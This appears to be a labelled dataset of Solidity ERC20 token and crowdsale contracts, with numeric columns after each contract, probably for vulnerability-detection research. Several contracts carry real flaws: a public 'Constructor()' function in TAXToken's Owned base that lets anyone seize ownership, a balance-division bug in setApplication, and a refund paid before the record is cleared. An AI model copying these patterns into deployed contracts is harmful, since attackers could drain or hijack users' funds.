uint256 public constant minContributionAmount = 0.1*10**18;
uint256 public constant maxContributionAmount = 100*10**18;
uint256 public constant minPrivateContribution = 5*10**18;
uint256 public constant minPreContribution = 1*10**18;
uint256 public constant minAmountToGetBonus = 1*10**18;
uint256 public constant referralBonus = 5;
uint256 public constant privateBonus = 40;
uint256 public constant preBonus = 20;
uint256 public tokensSold;
uint256 public collectedETH;
uint256 public constant numBlocksLocked = 1110857;
bool public releasedBountyTokens = false;
uint256 public unlockedAtBlockNumber;
address public lockedTokenHolder;
address public releaseTokenHolder;
address public devsHolder;
constructor(address _lockedTokenHolder,
address _releaseTokenHolder,
address _devsAddress
) TokenERC20("GameReward",
"GRD",
18,
1000000000
) public {
require (_lockedTokenHolder != 0x0);
require (_releaseTokenHolder != 0x0);
require (_devsAddress != 0x0);
lockedTokenHolder = _lockedTokenHolder;
releaseTokenHolder = _releaseTokenHolder;
devsHolder = _devsAddress;
}
function _transfer(address _from, address _to, uint _value) internal {
require (getState() == State.Success);
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (safeAdd(balanceOf[_to],_value) > balanceOf[_to]);
require (!frozenAccount[_from]);
require (!frozenAccount[_to]);
require (_from != lockedTokenHolder);
balanceOf[_from] = safeSub(balanceOf[_from],_value);
balanceOf[_to] = safeAdd(balanceOf[_to],_value);
emit Transfer(_from, _to, _value);
if(applications[_to] != 0x0){
balanceOf[_to] = safeSub(balanceOf[_to],_value);
balanceOf[applications[_to]] =safeAdd(balanceOf[applications[_to]],_value);
emit Transfer(_to, applications[_to], _value);
}
}
function updateNameAndSymbol(string _newname, string _newsymbol) onlyOwner public{
name = _newname;
symbol = _newsymbol;
}
function withdraw(address _from, address _to, uint _value, uint _fee, address _collector) onlyOwner public {
require (getState() == State.Success);
require (applications[_from]!=0x0);
address app = applications[_from];
require (_collector != 0x0);
require (_to != 0x0);
require (balanceOf[app] >= safeAdd(_value, _fee));
require (safeAdd(balanceOf[_to], _value)> balanceOf[_to]);
require (!frozenAccount[app]);
require (!frozenAccount[_to]);
require (_from != lockedTokenHolder);
balanceOf[app] = safeSub(balanceOf[app],safeAdd(_value, _fee));
balanceOf[_to] = safeAdd(balanceOf[_to],_value);
balanceOf[_collector] = safeAdd(balanceOf[_collector], _fee);
emit Fee(app,_collector,_fee);
emit Transfer(app, _collector, _fee);
emit Transfer(app, _to, _value);
}
function setApplication(address _target, address _parent) onlyOwner public {
require (getState() == State.Success);
require(_parent!=0x0);
applications[_target]=_parent;
uint256 currentBalance=balanceOf[_target];
emit SetApplication(_target,_parent);
if(currentBalance>0x0){
balanceOf[_target] = safeDiv(balanceOf[_target],currentBalance);
balanceOf[_parent] = safeAdd(balanceOf[_parent],currentBalance);
emit Transfer(_target,_parent,currentBalance);
}
}
function freezeAccount(address _target, bool _freeze) onlyOwner public {
frozenAccount[_target] = _freeze;
emit FrozenFunds(_target, _freeze);
}
function _getEarlyBonus() internal view returns(uint){
if(getState()==State.PrivateFunding) return privateBonus;
else if(getState()==State.PreFunding) return preBonus;
else return 0;
}
function setCampaign(uint256 _fundingStartBlock, uint256 _fundingEndBlock) onlyOwner public{
if(block.number < _fundingStartBlock){
fundingStartBlock = _fundingStartBlock;
}
if(_fundingEndBlock > fundingStartBlock && _fundingEndBlock > block.number){
fundingEndBlock = _fundingEndBlock;
}
emit ChangeCampaign(_fundingStartBlock,_fundingEndBlock);
}
function releaseBountyTokens() onlyOwner public{
require(!releasedBountyTokens);
require(getState()==State.Success);
releasedBountyTokens = true;
}
function setReferral(address _target, address _broker, uint256 _amount) onlyOwner public {
require (_target != 0x0);
require (_broker != 0x0);
referrals[_target] = _broker;
emit SetReferral(_target, _broker);
if(_amount>0x0){
uint256 brokerBonus = safeDiv(safeMul(_amount,referralBonus),hundredPercent);
bonus[_broker] = safeAdd(bonus[_broker],brokerBonus);
emit ReferralBonus(_target,_broker,brokerBonus);
}
}
function addBounty(address _hunter, uint256 _amount) onlyOwner public{
require(_hunter!=0x0);
require(toWei(_amount)<=safeSub(bonusAndBountyTokens,toWei(_amount)));
bounties[_hunter] = safeAdd(bounties[_hunter],toWei(_amount));
bonusAndBountyTokens = safeSub(bonusAndBountyTokens,toWei(_amount));
emit AddBounty(_hunter, toWei(_amount));
}
function() payable public{
require (getState() != State.Success);
require (getState() != State.Failure);
require (msg.value != 0);
if(getState()==State.PrivateFunding){
require(msg.value>=minPrivateContribution);
}else if(getState()==State.PreFunding){
require(msg.value>=minPreContribution && msg.value < maxContributionAmount);
}else if(getState()==State.Funding){
require(msg.value>=minContributionAmount && msg.value < maxContributionAmount);
}
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
uint256 brokerBonus = 0;
uint256 earlyBonus = safeDiv(safeMul(createdTokens,_getEarlyBonus()),hundredPercent);
createdTokens = safeAdd(createdTokens,earlyBonus);
if(getState()==State.PrivateFunding){
require(safeAdd(tokensSold,createdTokens) <= tokenPrivateMax);
}else{
require (safeAdd(tokensSold,createdTokens) <= tokenCreationMax);
}
tokensSold = safeAdd(tokensSold, createdTokens);
collectedETH = safeAdd(collectedETH,msg.value);
if(referrals[msg.sender]!= 0x0){
brokerBonus = safeDiv(safeMul(createdTokens,referralBonus),hundredPercent);
bonus[referrals[msg.sender]] = safeAdd(bonus[referrals[msg.sender]],brokerBonus);
emit ReferralBonus(msg.sender,referrals[msg.sender],brokerBonus);
}
funders[msg.sender] = safeAdd(funders[msg.sender],msg.value);
investors[msg.sender] = safeAdd(investors[msg.sender],createdTokens);
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], createdTokens);
emit FundTransfer(msg.sender,msg.value, createdTokens, block.number);
emit Transfer(0, msg.sender, createdTokens);
}
function requestBonus() external{
require(getState()==State.Success);
uint256 bonusAmount = bonus[msg.sender];
assert(bonusAmount>0);
require(bonusAmount<=safeSub(bonusAndBountyTokens,bonusAmount));
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender],bonusAmount);
bonus[msg.sender] = 0;
bonusAndBountyTokens = safeSub(bonusAndBountyTokens,bonusAmount);
emit BonusTransfer(msg.sender,bonusAmount,block.number);
emit Transfer(0,msg.sender,bonusAmount);
}
function releaseLockedToken() external {
require (getState() == State.Success);
require (balanceOf[lockedTokenHolder] > 0x0);
require (block.number >= unlockedAtBlockNumber);
balanceOf[devsHolder] = safeAdd(balanceOf[devsHolder],balanceOf[lockedTokenHolder]);
emit Transfer(lockedTokenHolder,devsHolder,balanceOf[lockedTokenHolder]);
balanceOf[lockedTokenHolder] = 0;
}
function requestBounty() external{
require(releasedBountyTokens);
require(getState()==State.Success);
assert (bounties[msg.sender]>0);
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender],bounties[msg.sender]);
emit BountyTransfer(msg.sender,bounties[msg.sender],block.number);
emit Transfer(0,msg.sender,bounties[msg.sender]);
bounties[msg.sender] = 0;
}
function finalizeCrowdfunding() external {
require (getState() == State.Success);
require (!finalizedCrowdfunding);
finalizedCrowdfunding = true;
balanceOf[lockedTokenHolder] = safeAdd(balanceOf[lockedTokenHolder], lockedTokens);
unlockedAtBlockNumber = block.number + numBlocksLocked;
emit Transfer(0, lockedTokenHolder, lockedTokens);
balanceOf[devsHolder] = safeAdd(balanceOf[devsHolder], devsTokens);
emit Transfer(0, devsHolder, devsTokens);
devsHolder.transfer(address(this).balance);
}
function requestFreeDistribution() external{
require(getState()==State.Success);
assert(investors[msg.sender]>0);
uint256 unSoldTokens = safeSub(tokenCreationMax,tokensSold);
require(unSoldTokens>0);
uint256 freeTokens = safeDiv(safeMul(unSoldTokens,investors[msg.sender]),tokensSold);
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender],freeTokens);
investors[msg.sender] = 0;
emit FreeDistribution(msg.sender,freeTokens,block.number);
emit Transfer(0,msg.sender, freeTokens);
}
function requestRefund() external {
assert (getState() == State.Failure);
assert (funders[msg.sender]>0);
msg.sender.transfer(funders[msg.sender]);
emit Refund( msg.sender, funders[msg.sender],block.number);
funders[msg.sender]=0;
}
function getState() public constant returns (State){
if (finalizedCrowdfunding) return State.Success;
if(fundingStartBlock ==0 && fundingEndBlock==0) return State.PrivateFunding;
else if (block.number < fundingStartBlock) return State.PreFunding;
else if (block.number <= fundingEndBlock && tokensSold < tokenCreationMax) return State.Funding;
else if (tokensSold >= tokenCreationMin) return State.Success;
else return State.Failure;
}
} | 1 | 2,746 |
pragma solidity 0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[_from]);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
uint cnt = _receivers.length;
uint256 amount = uint256(cnt).mul(_value);
require(cnt > 0 && cnt <= 121);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
require (_receivers[i] != 0x0);
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function batchFreeze(address[] addresses, bool freeze) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
frozenAccount[addresses[i]] = freeze;
FrozenFunds(addresses[i], freeze);
}
}
}
contract AdvancedToken is PausableToken {
string public name = "Opes Protocol";
string public symbol = "OPX";
string public version = '3.0.0';
uint8 public decimals = 18;
function AdvancedToken() {
totalSupply = 20000000000 * (10**(uint256(decimals)));
balances[msg.sender] = totalSupply;
}
function () external payable {
revert();
}
} | 1 | 3,501 |
pragma solidity 0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed burner, uint256 value);
}
contract VLTToken is ERC20Interface {
using SafeMath for uint256;
address public owner = msg.sender;
bytes32 public symbol;
bytes32 public name;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint256) internal balances;
mapping(address => mapping (address => uint256)) internal allowed;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function VLTToken() public {
symbol = "VAI";
name = "VIOLET";
decimals = 18;
_totalSupply = 250000000 * 10**uint256(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (_value == 0) {
Transfer(msg.sender, _to, _value);
return;
}
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (_value == 0) {
Transfer(_from, _to, _value);
return;
}
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
_totalSupply = _totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
function burnFrom(address _from, uint256 _value) public returns (bool) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
Burn(_from, _value);
Transfer(_from, address(0), _value);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,713 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return now > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract FloraFicTokenCrowdsale is FinalizableCrowdsale {
uint256 public initialRate;
function FloraFicTokenCrowdsale(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _initialRate,
address _wallet,
ERC20 _token
)
public
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
{
initialRate = _initialRate;
}
function setClosingTime(uint256 _closingTime) onlyOwner public {
require(_closingTime >= block.timestamp);
require(_closingTime >= openingTime);
closingTime = _closingTime;
}
function getCurrentRate() public view returns (uint256) {
uint256 elapsedTime = block.timestamp.sub(openingTime);
uint num_day = uint(elapsedTime) / 86400;
rate = initialRate.sub(num_day.mul(initialRate).div(100));
return rate;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 sendWeiAmount = msg.value;
uint256 bonus = 0;
uint256 currentRate = getCurrentRate();
uint256 currentWeiAmount = currentRate.mul(_weiAmount);
if( sendWeiAmount >= 1000000000000000000 && sendWeiAmount < 5000000000000000000){
bonus = currentWeiAmount.mul(10).div(100);
} else if (sendWeiAmount >= 5000000000000000000 && sendWeiAmount < 10000000000000000000){
bonus = currentWeiAmount.mul(20).div(100);
} else if (sendWeiAmount >= 10000000000000000000 && sendWeiAmount < 20000000000000000000){
bonus = currentWeiAmount.mul(50).div(100);
} else if (sendWeiAmount >= 20000000000000000000 && sendWeiAmount < 50000000000000000000){
bonus = currentWeiAmount.mul(75).div(100);
} else if (sendWeiAmount >= 50000000000000000000){
bonus = currentWeiAmount.mul(100).div(100);
}
return currentWeiAmount.add(bonus);
}
function finalization() internal {
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.transfer(wallet, amount);
}
} | 0 | 364 |
pragma solidity ^0.4.18;
contract SafeMath {
function mulSafe(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function divSafe(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function subSafe(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function addSafe(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Constructor() public { owner = msg.sender; }
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC223 {
function transfer(address to, uint value, bytes data) public;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract StandardToken is ERC20, ERC223, SafeMath, Owned {
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = subSafe(balances[msg.sender], _value);
balances[_to] = addSafe(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = subSafe(balances[_from], _value);
balances[_to] = addSafe(balances[_to], _value);
allowed[_from][msg.sender] = subSafe(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = addSafe(allowed[msg.sender][_spender], _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = subSafe(oldValue, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes _data) public {
require(_value > 0 );
if(isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
balances[msg.sender] = subSafe(balances[msg.sender], _value);
balances[_to] = addSafe(balances[_to], _value);
Transfer(msg.sender, _to, _value, _data);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
}
contract TAXToken is StandardToken {
string public name = 'TAXToken';
string public symbol = 'TAX';
uint public decimals = 8;
uint public INITIAL_SUPPLY = 1000000000;
uint public _frozeAmount = 400000000;
uint public _firstUnlockAmmount = 50000000;
uint public _secondUnlockAmmount = 50000000;
uint _firstUnlockTime;
uint _secondUnlockTime;
function TAXToken() public {
totalSupply = 500000000 * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
_firstUnlockTime = now + 31536000;
_secondUnlockTime = now + 63072000;
}
function releaseFirstUnlock() public onlyOwner returns (bool success){
require(now >= _firstUnlockTime);
require(_firstUnlockAmmount > 0);
balances[msg.sender] = addSafe(balances[msg.sender], _firstUnlockAmmount);
_firstUnlockAmmount = 0;
Transfer(address(0), msg.sender, _firstUnlockAmmount);
return true;
}
function releaseSecondUnlock() public onlyOwner returns (bool success){
require(now >= _secondUnlockTime);
require(_secondUnlockAmmount > 0);
balances[msg.sender] = addSafe(balances[msg.sender], _secondUnlockAmmount);
_secondUnlockAmmount = 0;
Transfer(address(0), msg.sender, _secondUnlockAmmount);
return true;
}
} | 1 | 4,263 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Burn(address sender,uint256 tokencount);
bool public mintingFinished = false ;
bool public transferAllowed = false ;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function resumeMinting() onlyOwner public returns (bool) {
mintingFinished = false;
return true;
}
function burn(address _from) external onlyOwner returns (bool success) {
require(balances[_from] != 0);
